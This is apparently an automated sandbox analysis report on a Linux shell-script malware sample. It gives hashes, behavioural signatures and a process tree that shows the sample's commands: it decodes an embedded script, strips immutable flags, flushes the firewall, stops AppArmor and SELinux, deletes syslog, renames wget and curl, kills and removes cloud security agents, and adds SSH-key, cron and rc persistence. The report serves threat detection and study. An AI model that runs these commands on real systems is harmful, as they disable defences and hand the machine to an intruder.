Analysis
- max time kernel
146s - max time network
148s - platform
debian-9_mipsel - resource
debian9-mipsel-20260513-en - resource tags
arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem - submitted
13/09/2026, 16:04
Static task
static1
Behavioral task
behavioral1
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
Resource
debian9-mipsel-20260513-en
General
- Target be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh
- Size 15KB
- Sample260913-th1a8a11ay
- SHA256 f0933f2f2e729f34aaa7c3caae7c18eb955bd3a27fe1e37bc2cfe719d63ea72e
- MD5 df67e6dc56750610a09c8631cde6239a
- SHA1 75e2e7257f7db684a28b9788cc8847440ed8919d
- SHA512 c72255793129409565b18de4fd625cd5f79666df225b789e2c5f512f391f95c4138226d6ca3e7492a46efbafac5f55853174302ac15d7d2409051cc7ccc920f3
- SSDEEP 384:YWOWwvrR3YsbdyxQws1JBcUrMtKe9aVDlvSVES3zf:tOW2j1JHYKTsESr
- TLSH T18162C0784DDACC5BE00EC8EA63EE7BC854A231FADBE430D556C90A8591D5F396350570
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Adds new SSH keys 1 TTPs 1 IoCs
Linux special file to hold SSH keys. The threat actor may add new keys for further remote access.
description ioc Process File opened for modification /root/.ssh/authorized_keys bash - File and Directory Permissions Modification 1 TTPs 7 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 747 chmod 749 chmod 750 chmod 2543 Process not Found 2546 Process not Found 2549 Process not Found 2572 Process not Found - Disables AppArmor Mandatory Access Control 1 TTPs 64 IoCs
Stops or disables AppArmor via systemctl, removing mandatory access control restrictions on process capabilities and file access.
pid Process 2296 Process not Found 841 systemctl 2155 Process not Found 2148 Process not Found 2313 Process not Found 2316 Process not Found 788 systemctl 2169 Process not Found 788 systemctl 824 systemctl 845 systemctl 850 systemctl 2165 Process not Found 2181 Process not Found 2182 Process not Found 2319 Process not Found 828 systemctl 2168 Process not Found 2180 Process not Found 2314 Process not Found 2302 Process not Found 821 systemctl 2148 Process not Found 2298 Process not Found 2299 Process not Found 788 systemctl 817 systemctl 2318 Process not Found 788 systemctl 2153 Process not Found 2290 Process not Found 2293 Process not Found 2301 Process not Found 853 systemctl 836 systemctl 2148 Process not Found 2302 Process not Found 2151 Process not Found 2167 Process not Found 2169 Process not Found 2305 Process not Found 2317 Process not Found 838 systemctl 842 systemctl 849 systemctl 2156 Process not Found 2183 Process not Found 2185 Process not Found 2287 Process not Found 2282 Process not Found 2159 Process not Found 2162 Process not Found 2295 Process not Found 2309 Process not Found 817 systemctl 2161 Process not Found 2282 Process not Found 2294 Process not Found 817 systemctl 2176 Process not Found 2186 Process not Found 2187 Process not Found 2282 Process not Found 788 systemctl - Flushes firewall rules 1 TTPs 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 753 iptables - Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf bash - Creates/modifies Cron job 1 TTPs 4 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.daily/logrotate bash File opened for modification /etc/cron.hourly/0anacron bash File opened for modification /etc/cron.d/zzh bash File opened for modification /etc/crontab bash -
pid Process 1742 grep 787 setenforce 1145 kill 1298 grep 1145 kill 1145 kill 1145 kill 1145 kill 1145 kill 1410 grep 1722 grep - Enumerates running processes
Discovers information about currently running processes on the system
- Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.d/rc.local bash - Removes the immutable protection flag from a file 1 TTPs 64 IoCs
Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.
pid Process 2225 Process not Found 1011 xargs 1059 xargs 1397 xargs 1704 xargs 929 xargs 1679 xargs 2269 Process not Found 2482 Process not Found 1380 xargs 1840 Process not Found 2326 Process not Found 1144 xargs 1175 xargs 1220 xargs 1240 xargs 1300 xargs 2249 Process not Found 2335 Process not Found 981 chattr 1105 xargs 1137 xargs 1325 xargs 1511 xargs 1566 xargs 1802 xargs 2566 Process not Found 973 chattr 1125 xargs 1546 xargs 1551 xargs 761 chattr 1689 xargs 2180 Process not Found 1250 xargs 2253 Process not Found 1038 xargs 1661 xargs 1808 Process not Found 1826 Process not Found 1860 Process not Found 919 xargs 1719 xargs 1894 Process not Found 975 chattr 1111 xargs 2221 Process not Found 976 chattr 978 chattr 1051 xargs 1848 Process not Found 1908 Process not Found 752 chattr 939 xargs 1017 xargs 1285 xargs 1739 xargs 2189 Process not Found 2193 Process not Found 2261 Process not Found 1093 xargs 1225 xargs 1462 xargs 1824 Process not Found - Write file to user bin folder 6 IoCs
description ioc Process File opened for modification /usr/bin/rctlcli bash File opened for modification /usr/bin/systemd-network bash File opened for modification /usr/bin/pamdicks bash File opened for modification /usr/bin/ip6network bash File opened for modification /usr/bin/kswaped bash File opened for modification /usr/bin/irqbalanced bash - Writes file to system bin folder 6 IoCs
description ioc Process File opened for modification /bin/pstree Process not Found File opened for modification /bin/ps bash File opened for modification /bin/ps Process not Found File opened for modification /bin/top bash File opened for modification /bin/top Process not Found File opened for modification /bin/pstree bash - Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs
Adversaries may deobfuscate or decode files or information to evade detection mechanisms.
pid Process 728 base64 - Discovers running processes 1 TTPs 64 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1196 ps 1371 ps 1650 ps 1685 ps 1340 ps 925 ps 950 ps 1186 ps 1201 ps 1668 ps 1266 ps 1632 ps 1690 ps 1542 ps 1579 ps 870 ps 915 ps 960 ps 2322 Process not Found 862 ps 1251 ps 1433 ps 1597 ps 1644 ps 1662 ps 920 ps 1506 ps 783 ps 785 ps 1330 ps 1489 ps 856 ps 1127 ps 1241 ps 1517 ps 1567 ps 1114 ps 1181 ps 1246 ps 1438 ps 895 ps 1107 ps 1166 ps 1478 ps 1121 ps 1398 ps 1638 ps 1256 ps 1562 ps 1206 ps 1226 ps 935 ps 1335 ps 1355 ps 1418 ps 1527 ps 945 ps 1133 ps 1191 ps 1360 ps 1453 ps 1532 ps 1291 ps 1403 ps - Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online Process not Found File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps - Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl -
description ioc Process File opened for reading /proc/126/cmdline ps File opened for reading /proc/5/stat ps File opened for reading /proc/4/status ps File opened for reading /proc/1/cmdline ps File opened for reading /proc/23/cmdline Process not Found File opened for reading /proc/11/status Process not Found File opened for reading /proc/76/status Process not Found File opened for reading /proc/666/status ps File opened for reading /proc/71/stat ps File opened for reading /proc/329/cmdline Process not Found File opened for reading /proc/717/cmdline Process not Found File opened for reading /proc/13/status Process not Found File opened for reading /proc/20/status Process not Found File opened for reading /proc/177/cmdline Process not Found File opened for reading /proc/670/status Process not Found File opened for reading /proc/154/cmdline ps File opened for reading /proc/7/stat ps File opened for reading /proc/362/stat ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/162/status Process not Found File opened for reading /proc/82/cmdline Process not Found File opened for reading /proc/37/cmdline Process not Found File opened for reading /proc/37/cmdline Process not Found File opened for reading /proc/78/cmdline ps File opened for reading /proc/679/stat ps File opened for reading /proc/70/cmdline ps File opened for reading /proc/9/stat ps File opened for reading /proc/670/status ps File opened for reading /proc/24/cmdline ps File opened for reading /proc/16/stat ps File opened for reading /proc/71/cmdline ps File opened for reading /proc/331/cmdline ps File opened for reading /proc/13/stat ps File opened for reading /proc/1505/status ps File opened for reading /proc/362/status ps File opened for reading /proc/37/cmdline Process not Found File opened for reading /proc/17/status Process not Found File opened for reading /proc/177/cmdline Process not Found File opened for reading /proc/8/cmdline Process not Found File opened for reading /proc/387/status ps File opened for reading /proc/meminfo ps File opened for reading /proc/715/stat ps File opened for reading /proc/22/status ps File opened for reading /proc/670/stat ps File opened for reading /proc/1652/cmdline ps File opened for reading /proc/20/cmdline Process not Found File opened for reading /proc/1881/cmdline Process not Found File opened for reading /proc/76/cmdline ps File opened for reading /proc/36/cmdline ps File opened for reading /proc/9/cmdline ps File opened for reading /proc/1352/stat ps File opened for reading /proc/self/maps awk File opened for reading /proc/19/status ps File opened for reading /proc/77/cmdline Process not Found File opened for reading /proc/719/cmdline Process not Found File opened for reading /proc/154/stat ps File opened for reading /proc/11/cmdline ps File opened for reading /proc/20/status ps File opened for reading /proc/8/stat ps File opened for reading /proc/332/status ps File opened for reading /proc/3/status Process not Found File opened for reading /proc/333/status Process not Found File opened for reading /proc/125/cmdline Process not Found File opened for reading /proc/13/stat ps - System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 978 chattr 1293 grep 1323 grep 1539 grep 2048 Process not Found 972 chattr - Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/tmp.ssnvnqzQMY/embedded.sh bash File opened for modification /tmp/dev/null bash File opened for modification /tmp/kdevtmpfsi bash File opened for modification /tmp/svcupdate bash File opened for modification /tmp/svcguard bash
Processes
-
/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh/tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:717
-
/usr/local/sbin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:717
-
/usr/local/bin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:717
-
/usr/sbin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:717
-
/usr/bin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:717
-
/sbin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵PID:717
-
/bin/bashbash /tmp/be0fe6a1344b052d4f61cca910f7d26ad02d283f280014eeca0d1cc729e6822a_pre-append.sh1⤵
- Writes file to tmp directory
PID:717 -
/bin/mktempmktemp -d2⤵PID:724
-
-
/usr/bin/base64base64 -d2⤵
- Deobfuscate/Decode Files or Information
PID:728
-
-
/usr/bin/python3python3 -c " import sys import zlib sys.stdout.buffer.write( zlib.decompress( sys.stdin.buffer.read() ) ) "2⤵PID:729
-
-
/bin/chmodchmod +x /tmp/tmp.ssnvnqzQMY/embedded.sh2⤵
- File and Directory Permissions Modification
PID:747
-
-
/bin/bashbash /tmp/tmp.ssnvnqzQMY/embedded.sh1⤵
- Adds new SSH keys
- Writes DNS configuration
- Creates/modifies Cron job
- Modifies rc script
- Write file to user bin folder
- Writes file to system bin folder
- Writes file to tmp directory
PID:717 -
/bin/chmodchmod 777 /usr/bin/chattr2⤵
- File and Directory Permissions Modification
PID:749
-
-
/bin/chmodchmod 777 /bin/chattr2⤵
- File and Directory Permissions Modification
PID:750
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:751
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Removes the immutable protection flag from a file
PID:752
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:753
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵PID:758
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:759
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵PID:760
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵
- Removes the immutable protection flag from a file
PID:761
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:762
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:763
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:764
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:765
-
-
/bin/syncsync2⤵PID:767
-
-
/bin/catcat /var/spool/cron/2⤵PID:768
-
-
/bin/catcat /root/.ssh/authorized_keys2⤵PID:769
-
-
/bin/mvmv /usr/bin/wgettnt /usr/bin/wd12⤵PID:770
-
-
/bin/mvmv /usr/bin/curltnt /usr/bin/cd12⤵PID:771
-
-
/bin/mvmv /usr/bin/wget1 /usr/bin/wd12⤵PID:772
-
-
/bin/mvmv /usr/bin/curl1 /usr/bin/cd12⤵PID:773
-
-
/bin/mvmv /usr/bin/cur /usr/bin/cd12⤵PID:774
-
-
/bin/mvmv /usr/bin/cdl /usr/bin/cd12⤵PID:775
-
-
/bin/mvmv /usr/bin/cdt /usr/bin/cd12⤵PID:776
-
-
/bin/mvmv /usr/bin/xget /usr/bin/wd12⤵PID:777
-
-
/bin/mvmv /usr/bin/wge /usr/bin/wd12⤵PID:778
-
-
/bin/mvmv /usr/bin/wdl /usr/bin/wd12⤵PID:779
-
-
/bin/mvmv /usr/bin/wdt /usr/bin/wd12⤵PID:780
-
-
/bin/mvmv /usr/bin/wget /usr/bin/wd12⤵PID:781
-
-
/bin/mvmv /usr/bin/curl /usr/bin/cd12⤵PID:782
-
-
/bin/grepgrep -i "[a]liyun"2⤵PID:784
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:783
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:786
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:785
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:787
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:788
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:789
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:790
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:791
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵PID:793
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:794
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:795
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:796
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:797
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:798
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:799
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:800
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:801
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:804
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:805
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵PID:808
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵PID:809
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵PID:812
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:788
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵PID:788
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:788
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:788
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:788
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor Mandatory Access Control
PID:788
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Enumerates kernel/hardware configuration
PID:815
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:817
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:819
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:820
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor Mandatory Access Control
PID:821
-
-
/bin/sedsed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"3⤵PID:825
-
-
/bin/systemctlsystemctl list-unit-files --full "--type=socket"3⤵
- Disables AppArmor Mandatory Access Control
PID:824
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:828
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:830
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵PID:832
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:834
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:836
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:838
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor Mandatory Access Control
PID:841
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor Mandatory Access Control
PID:842
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:845
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:846
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:849
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:850
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:817
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:817
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵PID:817
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵PID:817
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
PID:817
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:817
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor Mandatory Access Control
- Enumerates kernel/hardware configuration
PID:853
-
-
/bin/psps aux2⤵
- Discovers running processes
PID:856
-
-
/bin/grepgrep -v grep2⤵PID:857
-
-
/bin/grepgrep aegis2⤵PID:858
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:860
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:859
-
-
/bin/grepgrep Yun2⤵PID:864
-
-
/bin/grepgrep -v grep2⤵PID:863
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads runtime system information
PID:862
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:866
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:865
-
-
/bin/grepgrep -v grep2⤵PID:871
-
-
/bin/grepgrep aegis2⤵PID:872
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:873
-
-
/usr/bin/xargsxargs dirname2⤵PID:874
-
/usr/local/sbin/dirnamedirname3⤵PID:879
-
-
/usr/local/bin/dirnamedirname3⤵PID:879
-
-
/usr/sbin/dirnamedirname3⤵PID:879
-
-
/usr/bin/dirnamedirname3⤵PID:879
-
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:870
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:875
-
/usr/local/sbin/rmrm -rf3⤵PID:883
-
-
/usr/local/bin/rmrm -rf3⤵PID:883
-
-
/usr/sbin/rmrm -rf3⤵PID:883
-
-
/usr/bin/rmrm -rf3⤵PID:883
-
-
/sbin/rmrm -rf3⤵PID:883
-
-
/bin/rmrm -rf3⤵PID:883
-
-
-
/bin/grepgrep hids2⤵PID:886
-
-
/bin/grepgrep -v grep2⤵PID:885
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:887
-
-
/bin/psps aux2⤵PID:884
-
-
/usr/bin/xargsxargs dirname2⤵PID:888
-
/usr/local/sbin/dirnamedirname3⤵PID:892
-
-
/usr/local/bin/dirnamedirname3⤵PID:892
-
-
/usr/sbin/dirnamedirname3⤵PID:892
-
-
/usr/bin/dirnamedirname3⤵PID:892
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:889
-
/usr/local/sbin/rmrm -rf3⤵PID:893
-
-
/usr/local/bin/rmrm -rf3⤵PID:893
-
-
/usr/sbin/rmrm -rf3⤵PID:893
-
-
/usr/bin/rmrm -rf3⤵PID:893
-
-
/sbin/rmrm -rf3⤵PID:893
-
-
/bin/rmrm -rf3⤵PID:893
-
-
-
/bin/grepgrep -v grep2⤵PID:896
-
-
/bin/grepgrep cloudwalker2⤵PID:897
-
-
/bin/psps aux2⤵
- Discovers running processes
- Reads CPU attributes
PID:895
-
-
/usr/bin/awkawk "{print \$11}"2⤵PID:898
-
-
/usr/bin/xargsxargs dirname2⤵PID:899
-
/usr/local/sbin/dirnamedirname3⤵PID:903
-
-
/usr/local/bin/dirnamedirname3⤵PID:903
-
-
/usr/sbin/dirnamedirname3⤵PID:903
-
-
/usr/bin/dirnamedirname3⤵PID:903
-
-
-
/usr/bin/xargsxargs rm -rf2⤵PID:900
-
/usr/local/sbin/rmrm -rf3⤵PID:905
-
-
/usr/local/bin/rmrm -rf3⤵PID:905
-
-
/usr/sbin/rmrm -rf3⤵PID:905
-
-
/usr/bin/rmrm -rf3⤵PID:905
-
-
/sbin/rmrm -rf3⤵PID:905
-
